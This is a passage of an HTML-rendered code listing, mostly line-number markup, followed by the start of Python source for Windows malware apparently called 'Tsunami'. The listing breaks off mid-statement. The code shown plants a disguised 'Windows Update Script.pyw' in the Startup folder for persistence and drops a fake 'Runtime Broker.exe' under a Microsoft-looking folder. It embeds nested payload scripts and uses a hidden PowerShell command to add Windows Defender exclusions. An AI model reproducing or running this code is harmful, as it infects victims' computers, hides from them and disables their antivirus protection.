class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br><span class="line">754</span><br><span class="line">755</span><br><span class="line">756</span><br><span class="line">757</span><br><span class="line">758</span><br><span class="line">759</span><br><span class="line">760</span><br><span class="line">761</span><br><span class="line">762</span><br><span class="line">763</span><br><span class="line">764</span><br><span class="line">765</span><br><span class="line">766</span><br><span class="line">767</span><br><span class="line">768</span><br><span class="line">769</span><br><span class="line">770</span><br><span class="line">771</span><br><span class="line">772</span><br><span class="line">773</span><br><span class="line">774</span><br><span class="line">775</span><br><span class="line">776</span><br><span class="line">777</span><br><span class="line">778</span><br><span class="line">779</span><br><span class="line">780</span><br><span class="line">781</span><br><span class="line">782</span><br><span class="line">783</span><br><span class="line">784</span><br><span class="line">785</span><br><span class="line">786</span><br><span class="line">787</span><br><span class="line">788</span><br><span class="line">789</span><br><span class="line">790</span><br><span class="line">791</span><br><span class="line">792</span><br><span class="line">793</span><br><span class="line">794</span><br><span class="line">795</span><br><span class="line">796</span><br><span class="line">797</span><br><span class="line">798</span><br><span class="line">799</span><br><span class="line">800</span><br><span class="line">801</span><br><span class="line">802</span><br><span class="line">803</span><br><span class="line">804</span><br><span class="line">805</span><br><span class="line">806</span><br><span class="line">807</span><br><span class="line">808</span><br><span class="line">809</span><br><span class="line">810</span><br><span class="line">811</span><br><span class="line">812</span><br><span class="line">813</span><br><span class="line">814</span><br><span class="line">815</span><br><span class="line">816</span><br><span class="line">817</span><br><span class="line">818</span><br><span class="line">819</span><br><span class="line">820</span><br><span class="line">821</span><br><span class="line">822</span><br><span class="line">823</span><br><span class="line">824</span><br><span class="line">825</span><br><span class="line">826</span><br><span class="line">827</span><br><span class="line">828</span><br><span class="line">829</span><br><span class="line">830</span><br><span class="line">831</span><br><span class="line">832</span><br><span class="line">833</span><br><span class="line">834</span><br><span class="line">835</span><br><span class="line">836</span><br><span class="line">837</span><br><span class="line">838</span><br><span class="line">839</span><br><span class="line">840</span><br><span class="line">841</span><br><span class="line">842</span><br><span class="line">843</span><br><span class="line">844</span><br><span class="line">845</span><br><span class="line">846</span><br><span class="line">847</span><br><span class="line">848</span><br><span class="line">849</span><br><span class="line">850</span><br><span class="line">851</span><br><span class="line">852</span><br><span class="line">853</span><br><span class="line">854</span><br><span class="line">855</span><br><span class="line">856</span><br><span class="line">857</span><br><span class="line">858</span><br><span class="line">859</span><br><span class="line">860</span><br><span class="line">861</span><br><span class="line">862</span><br><span class="line">863</span><br><span class="line">864</span><br><span class="line">865</span><br><span class="line">866</span><br><span class="line">867</span><br><span class="line">868</span><br><span class="line">869</span><br><span class="line">870</span><br><span class="line">871</span><br><span class="line">872</span><br><span class="line">873</span><br><span class="line">874</span><br><span class="line">875</span><br><span class="line">876</span><br><span class="line">877</span><br><span class="line">878</span><br><span class="line">879</span><br><span class="line">880</span><br><span class="line">881</span><br><span class="line">882</span><br><span class="line">883</span><br><span class="line">884</span><br><span class="line">885</span><br><span class="line">886</span><br><span class="line">887</span><br><span class="line">888</span><br><span class="line">889</span><br><span class="line">890</span><br><span class="line">891</span><br><span class="line">892</span><br><span class="line">893</span><br><span class="line">894</span><br><span class="line">895</span><br><span class="line">896</span><br><span class="line">897</span><br><span class="line">898</span><br><span class="line">899</span><br><span class="line">900</span><br><span class="line">901</span><br><span class="line">902</span><br><span class="line">903</span><br><span class="line">904</span><br><span class="line">905</span><br><span class="line">906</span><br><span class="line">907</span><br><span class="line">908</span><br><span class="line">909</span><br><span class="line">910</span><br><span class="line">911</span><br><span class="line">912</span><br><span class="line">913</span><br><span class="line">914</span><br><span class="line">915</span><br><span class="line">916</span><br><span class="line">917</span><br><span class="line">918</span><br><span class="line">919</span><br><span class="line">920</span><br><span class="line">921</span><br><span class="line">922</span><br><span class="line">923</span><br><span class="line">924</span><br><span class="line">925</span><br><span class="line">926</span><br><span class="line">927</span><br><span class="line">928</span><br><span class="line">929</span><br><span class="line">930</span><br><span class="line">931</span><br><span class="line">932</span><br><span class="line">933</span><br><span class="line">934</span><br><span class="line">935</span><br><span class="line">936</span><br><span class="line">937</span><br><span class="line">938</span><br><span class="line">939</span><br><span class="line">940</span><br><span class="line">941</span><br><span class="line">942</span><br><span class="line">943</span><br><span class="line">944</span><br><span class="line">945</span><br><span class="line">946</span><br><span class="line">947</span><br><span class="line">948</span><br><span class="line">949</span><br><span class="line">950</span><br><span class="line">951</span><br><span class="line">952</span><br><span class="line">953</span><br><span class="line">954</span><br><span class="line">955</span><br><span class="line">956</span><br><span class="line">957</span><br><span class="line">958</span><br><span class="line">959</span><br><span class="line">960</span><br><span class="line">961</span><br><span class="line">962</span><br><span class="line">963</span><br><span class="line">964</span><br><span class="line">965</span><br><span class="line">966</span><br><span class="line">967</span><br><span class="line">968</span><br><span class="line">969</span><br><span class="line">970</span><br><span class="line">971</span><br><span class="line">972</span><br><span class="line">973</span><br><span class="line">974</span><br><span class="line">975</span><br><span class="line">976</span><br><span class="line">977</span><br><span class="line">978</span><br><span class="line">979</span><br><span class="line">980</span><br><span class="line">981</span><br><span class="line">982</span><br><span class="line">983</span><br><span class="line">984</span><br><span class="line">985</span><br><span class="line">986</span><br><span class="line">987</span><br><span class="line">988</span><br><span class="line">989</span><br><span class="line">990</span><br><span class="line">991</span><br><span class="line">992</span><br><span class="line">993</span><br><span class="line">994</span><br><span class="line">995</span><br><span class="line">996</span><br><span class="line">997</span><br><span class="line">998</span><br><span class="line">999</span><br><span class="line">1000</span><br><span class="line">1001</span><br><span class="line">1002</span><br><span class="line">1003</span><br><span class="line">1004</span><br><span class="line">1005</span><br><span class="line">1006</span><br><span class="line">1007</span><br><span class="line">1008</span><br><span class="line">1009</span><br><span class="line">1010</span><br><span class="line">1011</span><br><span class="line">1012</span><br><span class="line">1013</span><br><span class="line">1014</span><br><span class="line">1015</span><br><span class="line">1016</span><br><span class="line">1017</span><br><span class="line">1018</span><br><span class="line">1019</span><br><span class="line">1020</span><br><span class="line">1021</span><br><span class="line">1022</span><br><span class="line">1023</span><br><span class="line">1024</span><br><span class="line">1025</span><br><span class="line">1026</span><br><span class="line">1027</span><br><span class="line">1028</span><br><span class="line">1029</span><br><span class="line">1030</span><br><span class="line">1031</span><br><span class="line">1032</span><br><span class="line">1033</span><br><span class="line">1034</span><br><span class="line">1035</span><br><span class="line">1036</span><br><span class="line">1037</span><br><span class="line">1038</span><br><span class="line">1039</span><br><span class="line">1040</span><br><span class="line">1041</span><br><span class="line">1042</span><br><span class="line">1043</span><br><span class="line">1044</span><br><span class="line">1045</span><br><span class="line">1046</span><br><span class="line">1047</span><br><span class="line">1048</span><br><span class="line">1049</span><br><span class="line">1050</span><br><span class="line">1051</span><br><span class="line">1052</span><br><span class="line">1053</span><br><span class="line">1054</span><br><span class="line">1055</span><br><span class="line">1056</span><br><span class="line">1057</span><br><span class="line">1058</span><br><span class="line">1059</span><br><span class="line">1060</span><br><span class="line">1061</span><br><span class="line">1062</span><br><span class="line">1063</span><br><span class="line">1064</span><br><span class="line">1065</span><br><span class="line">1066</span><br><span class="line">1067</span><br><span class="line">1068</span><br><span class="line">1069</span><br><span class="line">1070</span><br><span class="line">1071</span><br><span class="line">1072</span><br><span class="line">1073</span><br><span class="line">1074</span><br><span class="line">1075</span><br><span class="line">1076</span><br><span class="line">1077</span><br><span class="line">1078</span><br><span class="line">1079</span><br><span class="line">1080</span><br><span class="line">1081</span><br><span class="line">1082</span><br><span class="line">1083</span><br><span class="line">1084</span><br><span class="line">1085</span><br><span class="line">1086</span><br><span class="line">1087</span><br><span class="line">1088</span><br><span class="line">1089</span><br><span class="line">1090</span><br><span class="line">1091</span><br><span class="line">1092</span><br><span class="line">1093</span><br><span class="line">1094</span><br><span class="line">1095</span><br><span class="line">1096</span><br><span class="line">1097</span><br><span class="line">1098</span><br><span class="line">1099</span><br><span class="line">1100</span><br><span class="line">1101</span><br><span class="line">1102</span><br><span class="line">1103</span><br><span class="line">1104</span><br><span class="line">1105</span><br><span class="line">1106</span><br><span class="line">1107</span><br><span class="line">1108</span><br><span class="line">1109</span><br><span class="line">1110</span><br><span class="line">1111</span><br><span class="line">1112</span><br><span class="line">1113</span><br><span class="line">1114</span><br><span class="line">1115</span><br><span class="line">1116</span><br><span class="line">1117</span><br><span class="line">1118</span><br><span class="line">1119</span><br><span class="line">1120</span><br><span class="line">1121</span><br><span class="line">1122</span><br><span class="line">1123</span><br><span class="line">1124</span><br><span class="line">1125</span><br><span class="line">1126</span><br><span class="line">1127</span><br><span class="line">1128</span><br><span class="line">1129</span><br><span class="line">1130</span><br><span class="line">1131</span><br><span class="line">1132</span><br><span class="line">1133</span><br><span class="line">1134</span><br><span class="line">1135</span><br><span class="line">1136</span><br><span class="line">1137</span><br><span class="line">1138</span><br><span class="line">1139</span><br><span class="line">1140</span><br><span class="line">1141</span><br><span class="line">1142</span><br><span class="line">1143</span><br><span class="line">1144</span><br><span class="line">1145</span><br><span class="line">1146</span><br><span class="line">1147</span><br><span class="line">1148</span><br><span class="line">1149</span><br><span class="line">1150</span><br><span class="line">1151</span><br><span class="line">1152</span><br><span class="line">1153</span><br><span class="line">1154</span><br><span class="line">1155</span><br><span class="line">1156</span><br><span class="line">1157</span><br><span class="line">1158</span><br><span class="line">1159</span><br><span class="line">1160</span><br><span class="line">1161</span><br><span class="line">1162</span><br><span class="line">1163</span><br><span class="line">1164</span><br><span class="line">1165</span><br><span class="line">1166</span><br><span class="line">1167</span><br><span class="line">1168</span><br><span class="line">1169</span><br><span class="line">1170</span><br><span class="line">1171</span><br><span class="line">1172</span><br><span class="line">1173</span><br><span class="line">1174</span><br><span class="line">1175</span><br><span class="line">1176</span><br><span class="line">1177</span><br><span class="line">1178</span><br><span class="line">1179</span><br><span class="line">1180</span><br><span class="line">1181</span><br><span class="line">1182</span><br><span class="line">1183</span><br><span class="line">1184</span><br><span class="line">1185</span><br><span class="line">1186</span><br><span class="line">1187</span><br><span class="line">1188</span><br><span class="line">1189</span><br><span class="line">1190</span><br><span class="line">1191</span><br><span class="line">1192</span><br><span class="line">1193</span><br><span class="line">1194</span><br><span class="line">1195</span><br><span class="line">1196</span><br><span class="line">1197</span><br><span class="line">1198</span><br><span class="line">1199</span><br><span class="line">1200</span><br><span class="line">1201</span><br><span class="line">1202</span><br><span class="line">1203</span><br><span class="line">1204</span><br><span class="line">1205</span><br><span class="line">1206</span><br><span class="line">1207</span><br><span class="line">1208</span><br><span class="line">1209</span><br><span class="line">1210</span><br><span class="line">1211</span><br><span class="line">1212</span><br><span class="line">1213</span><br><span class="line">1214</span><br><span class="line">1215</span><br><span class="line">1216</span><br><span class="line">1217</span><br><span class="line">1218</span><br><span class="line">1219</span><br><span class="line">1220</span><br><span class="line">1221</span><br><span class="line">1222</span><br><span class="line">1223</span><br><span class="line">1224</span><br><span class="line">1225</span><br><span class="line">1226</span><br><span class="line">1227</span><br><span class="line">1228</span><br><span class="line">1229</span><br><span class="line">1230</span><br><span class="line">1231</span><br><span class="line">1232</span><br><span class="line">1233</span><br><span class="line">1234</span><br><span class="line">1235</span><br><span class="line">1236</span><br><span class="line">1237</span><br><span class="line">1238</span><br><span class="line">1239</span><br><span class="line">1240</span><br><span class="line">1241</span><br><span class="line">1242</span><br><span class="line">1243</span><br><span class="line">1244</span><br><span class="line">1245</span><br><span class="line">1246</span><br><span class="line">1247</span><br><span class="line">1248</span><br><span class="line">1249</span><br><span class="line">1250</span><br><span class="line">1251</span><br><span class="line">1252</span><br><span class="line">1253</span><br><span class="line">1254</span><br><span class="line">1255</span><br><span class="line">1256</span><br><span class="line">1257</span><br><span class="line">1258</span><br><span class="line">1259</span><br><span class="line">1260</span><br><span class="line">1261</span><br><span class="line">1262</span><br><span class="line">1263</span><br><span class="line">1264</span><br><span class="line">1265</span><br><span class="line">1266</span><br><span class="line">1267</span><br><span class="line">1268</span><br><span class="line">1269</span><br><span class="line">1270</span><br><span class="line">1271</span><br><span class="line">1272</span><br><span class="line">1273</span><br><span class="line">1274</span><br><span class="line">1275</span><br><span class="line">1276</span><br><span class="line">1277</span><br><span class="line">1278</span><br><span class="line">1279</span><br><span class="line">1280</span><br><span class="line">1281</span><br><span class="line">1282</span><br><span class="line">1283</span><br><span class="line">1284</span><br><span class="line">1285</span><br><span class="line">1286</span><br><span class="line">1287</span><br><span class="line">1288</span><br><span class="line">1289</span><br><span class="line">1290</span><br><span class="line">1291</span><br><span class="line">1292</span><br><span class="line">1293</span><br><span class="line">1294</span><br><span class="line">1295</span><br><span class="line">1296</span><br><span class="line">1297</span><br><span class="line">1298</span><br><span class="line">1299</span><br><span class="line">1300</span><br><span class="line">1301</span><br><span class="line">1302</span><br><span class="line">1303</span><br><span class="line">1304</span><br><span class="line">1305</span><br><span class="line">1306</span><br><span class="line">1307</span><br><span class="line">1308</span><br><span class="line">1309</span><br><span class="line">1310</span><br><span class="line">1311</span><br><span class="line">1312</span><br><span class="line">1313</span><br><span class="line">1314</span><br><span class="line">1315</span><br><span class="line">1316</span><br><span class="line">1317</span><br><span class="line">1318</span><br><span class="line">1319</span><br><span class="line">1320</span><br><span class="line">1321</span><br><span class="line">1322</span><br><span class="line">1323</span><br><span class="line">1324</span><br><span class="line">1325</span><br><span class="line">1326</span><br><span class="line">1327</span><br><span class="line">1328</span><br><span class="line">1329</span><br><span class="line">1330</span><br><span class="line">1331</span><br><span class="line">1332</span><br><span class="line">1333</span><br><span class="line">1334</span><br><span class="line">1335</span><br><span class="line">1336</span><br><span class="line">1337</span><br><span class="line">1338</span><br><span class="line">1339</span><br><span class="line">1340</span><br><span class="line">1341</span><br><span class="line">1342</span><br><span class="line">1343</span><br><span class="line">1344</span><br><span class="line">1345</span><br><span class="line">1346</span><br><span class="line">1347</span><br><span class="line">1348</span><br><span class="line">1349</span><br><span class="line">1350</span><br><span class="line">1351</span><br><span class="line">1352</span><br><span class="line">1353</span><br><span class="line">1354</span><br><span class="line">1355</span><br><span class="line">1356</span><br><span class="line">1357</span><br><span class="line">1358</span><br><span class="line">1359</span><br><span class="line">1360</span><br><span class="line">1361</span><br><span class="line">1362</span><br><span class="line">1363</span><br><span class="line">1364</span><br><span class="line">1365</span><br><span class="line">1366</span><br><span class="line">1367</span><br><span class="line">1368</span><br><span class="line">1369</span><br><span class="line">1370</span><br><span class="line">1371</span><br><span class="line">1372</span><br><span class="line">1373</span><br><span class="line">1374</span><br><span class="line">1375</span><br><span class="line">1376</span><br><span class="line">1377</span><br><span class="line">1378</span><br><span class="line">1379</span><br><span class="line">1380</span><br><span class="line">1381</span><br><span class="line">1382</span><br><span class="line">1383</span><br><span class="line">1384</span><br><span class="line">1385</span><br><span class="line">1386</span><br><span class="line">1387</span><br><span class="line">1388</span><br><span class="line">1389</span><br><span class="line">1390</span><br><span class="line">1391</span><br><span class="line">1392</span><br><span class="line">1393</span><br><span class="line">1394</span><br><span class="line">1395</span><br><span class="line">1396</span><br><span class="line">1397</span><br><span class="line">1398</span><br><span class="line">1399</span><br><span class="line">1400</span><br><span class="line">1401</span><br><span class="line">1402</span><br><span class="line">1403</span><br><span class="line">1404</span><br><span class="line">1405</span><br><span class="line">1406</span><br><span class="line">1407</span><br><span class="line">1408</span><br><span class="line">1409</span><br><span class="line">1410</span><br><span class="line">1411</span><br><span class="line">1412</span><br><span class="line">1413</span><br><span class="line">1414</span><br><span class="line">1415</span><br><span class="line">1416</span><br><span class="line">1417</span><br><span class="line">1418</span><br><span class="line">1419</span><br><span class="line">1420</span><br><span class="line">1421</span><br><span class="line">1422</span><br><span class="line">1423</span><br><span class="line">1424</span><br><span class="line">1425</span><br><span class="line">1426</span><br><span class="line">1427</span><br><span class="line">1428</span><br><span class="line">1429</span><br><span class="line">1430</span><br><span class="line">1431</span><br><span class="line">1432</span><br><span class="line">1433</span><br><span class="line">1434</span><br><span class="line">1435</span><br><span class="line">1436</span><br><span class="line">1437</span><br><span class="line">1438</span><br><span class="line">1439</span><br><span class="line">1440</span><br><span class="line">1441</span><br><span class="line">1442</span><br><span class="line">1443</span><br><span class="line">1444</span><br><span class="line">1445</span><br><span class="line">1446</span><br><span class="line">1447</span><br><span class="line">1448</span><br><span class="line">1449</span><br><span class="line">1450</span><br><span class="line">1451</span><br><span class="line">1452</span><br><span class="line">1453</span><br><span class="line">1454</span><br><span class="line">1455</span><br><span class="line">1456</span><br><span class="line">1457</span><br><span class="line">1458</span><br><span class="line">1459</span><br><span class="line">1460</span><br><span class="line">1461</span><br><span class="line">1462</span><br><span class="line">1463</span><br><span class="line">1464</span><br><span class="line">1465</span><br><span class="line">1466</span><br><span class="line">1467</span><br><span class="line">1468</span><br><span class="line">1469</span><br><span class="line">1470</span><br><span class="line">1471</span><br><span class="line">1472</span><br><span class="line">1473</span><br><span class="line">1474</span><br><span class="line">1475</span><br><span class="line">1476</span><br><span class="line">1477</span><br><span class="line">1478</span><br><span class="line">1479</span><br><span class="line">1480</span><br><span class="line">1481</span><br><span class="line">1482</span><br><span class="line">1483</span><br><span class="line">1484</span><br><span class="line">1485</span><br><span class="line">1486</span><br><span class="line">1487</span><br><span class="line">1488</span><br><span class="line">1489</span><br><span class="line">1490</span><br><span class="line">1491</span><br><span class="line">1492</span><br><span class="line">1493</span><br><span class="line">1494</span><br><span class="line">1495</span><br><span class="line">1496</span><br><span class="line">1497</span><br><span class="line">1498</span><br><span class="line">1499</span><br><span class="line">1500</span><br><span class="line">1501</span><br><span class="line">1502</span><br><span class="line">1503</span><br><span class="line">1504</span><br><span class="line">1505</span><br><span class="line">1506</span><br><span class="line">1507</span><br><span class="line">1508</span><br><span class="line">1509</span><br><span class="line">1510</span><br><span class="line">1511</span><br><span class="line">1512</span><br><span class="line">1513</span><br><span class="line">1514</span><br><span class="line">1515</span><br><span class="line">1516</span><br><span class="line">1517</span><br><span class="line">1518</span><br><span class="line">1519</span><br><span class="line">1520</span><br><span class="line">1521</span><br><span class="line">1522</span><br><span class="line">1523</span><br><span class="line">1524</span><br><span class="line">1525</span><br><span class="line">1526</span><br><span class="line">1527</span><br><span class="line">1528</span><br><span class="line">1529</span><br><span class="line">1530</span><br><span class="line">1531</span><br><span class="line">1532</span><br><span class="line">1533</span><br><span class="line">1534</span><br><span class="line">1535</span><br><span class="line">1536</span><br><span class="line">1537</span><br><span class="line">1538</span><br><span class="line">1539</span><br><span class="line">1540</span><br><span class="line">1541</span><br><span class="line">1542</span><br><span class="line">1543</span><br><span class="line">1544</span><br><span class="line">1545</span><br><span class="line">1546</span><br><span class="line">1547</span><br><span class="line">1548</span><br><span class="line">1549</span><br><span class="line">1550</span><br><span class="line">1551</span><br><span class="line">1552</span><br><span class="line">1553</span><br><span class="line">1554</span><br><span class="line">1555</span><br><span class="line">1556</span><br><span class="line">1557</span><br><span class="line">1558</span><br><span class="line">1559</span><br><span class="line">1560</span><br><span class="line">1561</span><br><span class="line">1562</span><br><span class="line">1563</span><br><span class="line">1564</span><br><span class="line">1565</span><br><span class="line">1566</span><br><span class="line">1567</span><br><span class="line">1568</span><br><span class="line">1569</span><br><span class="line">1570</span><br><span class="line">1571</span><br><span class="line">1572</span><br><span class="line">1573</span><br><span class="line">1574</span><br><span class="line">1575</span><br><span class="line">1576</span><br><span class="line">1577</span><br><span class="line">1578</span><br><span class="line">1579</span><br><span class="line">1580</span><br><span class="line">1581</span><br><span class="line">1582</span><br><span class="line">1583</span><br><span class="line">1584</span><br><span class="line">1585</span><br><span class="line">1586</span><br><span class="line">1587</span><br><span class="line">1588</span><br><span class="line">1589</span><br><span class="line">1590</span><br><span class="line">1591</span><br><span class="line">1592</span><br><span class="line">1593</span><br><span class="line">1594</span><br><span class="line">1595</span><br><span class="line">1596</span><br><span class="line">1597</span><br><span class="line">1598</span><br><span class="line">1599</span><br><span class="line">1600</span><br><span class="line">1601</span><br><span class="line">1602</span><br><span class="line">1603</span><br><span class="line">1604</span><br><span class="line">1605</span><br><span class="line">1606</span><br><span class="line">1607</span><br><span class="line">1608</span><br><span class="line">1609</span><br><span class="line">1610</span><br><span class="line">1611</span><br><span class="line">1612</span><br><span class="line">1613</span><br><span class="line">1614</span><br><span class="line">1615</span><br><span class="line">1616</span><br><span class="line">1617</span><br><span class="line">1618</span><br><span class="line">1619</span><br><span class="line">1620</span><br><span class="line">1621</span><br><span class="line">1622</span><br><span class="line">1623</span><br><span class="line">1624</span><br><span class="line">1625</span><br><span class="line">1626</span><br><span class="line">1627</span><br><span class="line">1628</span><br><span class="line">1629</span><br><span class="line">1630</span><br><span class="line">1631</span><br><span class="line">1632</span><br><span class="line">1633</span><br><span class="line">1634</span><br><span class="line">1635</span><br><span class="line">1636</span><br><span class="line">1637</span><br><span class="line">1638</span><br><span class="line">1639</span><br><span class="line">1640</span><br><span class="line">1641</span><br><span class="line">1642</span><br><span class="line">1643</span><br><span class="line">1644</span><br><span class="line">1645</span><br><span class="line">1646</span><br><span class="line">1647</span><br><span class="line">1648</span><br><span class="line">1649</span><br><span class="line">1650</span><br><span class="line">1651</span><br><span class="line">1652</span><br><span class="line">1653</span><br><span class="line">1654</span><br><span class="line">1655</span><br><span class="line">1656</span><br><span class="line">1657</span><br><span class="line">1658</span><br><span class="line">1659</span><br><span class="line">1660</span><br><span class="line">1661</span><br><span class="line">1662</span><br><span class="line">1663</span><br><span class="line">1664</span><br><span class="line">1665</span><br><span class="line">1666</span><br><span class="line">1667</span><br><span class="line">1668</span><br><span class="line">1669</span><br><span class="line">1670</span><br><span class="line">1671</span><br><span class="line">1672</span><br><span class="line">1673</span><br><span class="line">1674</span><br><span class="line">1675</span><br><span class="line">1676</span><br><span class="line">1677</span><br><span class="line">1678</span><br><span class="line">1679</span><br><span class="line">1680</span><br><span class="line">1681</span><br><span class="line">1682</span><br><span class="line">1683</span><br><span class="line">1684</span><br><span class="line">1685</span><br><span class="line">1686</span><br><span class="line">1687</span><br><span class="line">1688</span><br><span class="line">1689</span><br><span class="line">1690</span><br><span class="line">1691</span><br><span class="line">1692</span><br><span class="line">1693</span><br><span class="line">1694</span><br><span class="line">1695</span><br><span class="line">1696</span><br><span class="line">1697</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="comment">##### Imports #####</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">import</span> subprocess</span><br><span class="line">    <span class="keyword">import</span> traceback</span><br><span class="line">    <span class="keyword">import</span> warnings</span><br><span class="line">    <span class="keyword">import</span> platform</span><br><span class="line">    <span class="keyword">import</span> tempfile</span><br><span class="line">    <span class="keyword">import</span> winreg</span><br><span class="line">    <span class="keyword">import</span> ctypes</span><br><span class="line">    <span class="keyword">import</span> random</span><br><span class="line">    <span class="keyword">import</span> base64</span><br><span class="line">    <span class="keyword">import</span> zlib</span><br><span class="line">    <span class="keyword">import</span> time</span><br><span class="line">    <span class="keyword">import</span> sys</span><br><span class="line">    <span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Supress Warnings #####</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        warnings.filterwarnings(<span class="string">&quot;ignore&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Globals #####</span></span><br><span class="line"></span><br><span class="line">    DEBUG_MODE = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">    PYTHON_INSTALLER_URL = <span class="string">&quot;https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe&quot;</span></span><br><span class="line"></span><br><span class="line">    APPDATA_ROAMING_DIRECTORY = os.getenv(<span class="string">&quot;APPDATA&quot;</span>)</span><br><span class="line"></span><br><span class="line">    TSUNAMI_INJECTOR_NAME = <span class="string">&quot;Windows Update Script.pyw&quot;</span></span><br><span class="line">    TSUNAMI_INJECTOR_FOLDER = <span class="string">f&quot;<span class="subst">&#123;APPDATA_ROAMING_DIRECTORY&#125;</span>/Microsoft/Windows/Start Menu/Programs/Startup&quot;</span></span><br><span class="line">    TSUNAMI_INJECTOR_PATH = <span class="string">rf&quot;<span class="subst">&#123;TSUNAMI_INJECTOR_FOLDER&#125;</span>/<span class="subst">&#123;TSUNAMI_INJECTOR_NAME&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line">    TSUNAMI_INJECTOR_SCRIPT = <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">RandVar = &#x27;?&#x27;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Imports #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">from cryptography.hazmat.primitives import hashes, serialization</span></span><br><span class="line"><span class="string">from cryptography.hazmat.primitives.asymmetric import padding</span></span><br><span class="line"><span class="string">import urllib.request</span></span><br><span class="line"><span class="string">import urllib.parse</span></span><br><span class="line"><span class="string">import subprocess</span></span><br><span class="line"><span class="string">import tempfile</span></span><br><span class="line"><span class="string">import binascii</span></span><br><span class="line"><span class="string">import ctypes</span></span><br><span class="line"><span class="string">import random</span></span><br><span class="line"><span class="string">import string</span></span><br><span class="line"><span class="string">import base64</span></span><br><span class="line"><span class="string">import zlib</span></span><br><span class="line"><span class="string">import time</span></span><br><span class="line"><span class="string">import gzip</span></span><br><span class="line"><span class="string">import json</span></span><br><span class="line"><span class="string">import ssl</span></span><br><span class="line"><span class="string">import sys</span></span><br><span class="line"><span class="string">import os</span></span><br><span class="line"><span class="string">import re</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Globals #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">DEBUG_MODE = False</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">ROAMING_APPDATA_PATH = os.getenv(&quot;APPDATA&quot;)</span></span><br><span class="line"><span class="string">LOCAL_APPDATA_PATH = os.getenv(&quot;LOCALAPPDATA&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">TSUNAMI_PAYLOAD_NAME = &quot;&quot;.join([random.choice(string.ascii_letters) for i in range(16)])</span></span><br><span class="line"><span class="string">TSUNAMI_PAYLOAD_FOLDER = tempfile.gettempdir()</span></span><br><span class="line"><span class="string">TSUNAMI_PAYLOAD_PATH = rf&quot;&#123;TSUNAMI_PAYLOAD_FOLDER&#125;\&#123;TSUNAMI_PAYLOAD_NAME&#125;&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_NAME = &quot;Runtime Broker&quot;</span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_FOLDER = rf&quot;&#123;ROAMING_APPDATA_PATH&#125;\Microsoft\Windows\Applications&quot;</span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_PATH = rf&quot;&#123;TSUNAMI_INSTALLER_FOLDER&#125;\Runtime Broker.exe&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">TSUNAMI_PAYLOAD_SCRIPT = &#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">RandVar = &#x27;?&#x27;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Imports #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">import subprocess</span></span><br><span class="line"><span class="string">import datetime</span></span><br><span class="line"><span class="string">import ctypes</span></span><br><span class="line"><span class="string">import os</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Globals #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">DEBUG_MODE = False</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">ROAMING_APPDATA_PATH = os.getenv(&quot;APPDATA&quot;)</span></span><br><span class="line"><span class="string">LOCAL_APPDATA_PATH = os.getenv(&quot;LOCALAPPDATA&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_NAME = &quot;Runtime Broker&quot;</span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_FOLDER = rf&quot;&#123;ROAMING_APPDATA_PATH&#125;\Microsoft\Windows\Applications&quot;</span></span><br><span class="line"><span class="string">TSUNAMI_INSTALLER_PATH = rf&quot;&#123;TSUNAMI_INSTALLER_FOLDER&#125;\Runtime Broker.exe&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Utils #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def output(text: str) -&gt; None:</span></span><br><span class="line"><span class="string">    if DEBUG_MODE:</span></span><br><span class="line"><span class="string">        print(text)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def is_admin() -&gt; bool:</span></span><br><span class="line"><span class="string">    try:</span></span><br><span class="line"><span class="string">        return ctypes.windll.shell32.IsUserAnAdmin()</span></span><br><span class="line"><span class="string">    except:</span></span><br><span class="line"><span class="string">        return False</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Tsunami Payload #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def add_windows_defender_exception(filepath: str) -&gt; None:</span></span><br><span class="line"><span class="string">    try:</span></span><br><span class="line"><span class="string">        subprocess.run(</span></span><br><span class="line"><span class="string">            [&quot;powershell.exe&quot;, f&quot;Add-MpPreference -ExclusionPath &#x27;&#123;filepath&#125;&#x27;&quot;],</span></span><br><span class="line"><span class="string">            shell = True,</span></span><br><span class="line"><span class="string">            creationflags = subprocess.CREATE_NO_WINDOW,</span></span><br><span class="line"><span class="string">            stdout = subprocess.PIPE,</span></span><br><span class="line"><span class="string">            stderr = subprocess.PIPE,</span></span><br><span class="line"><span class="string">            stdin = 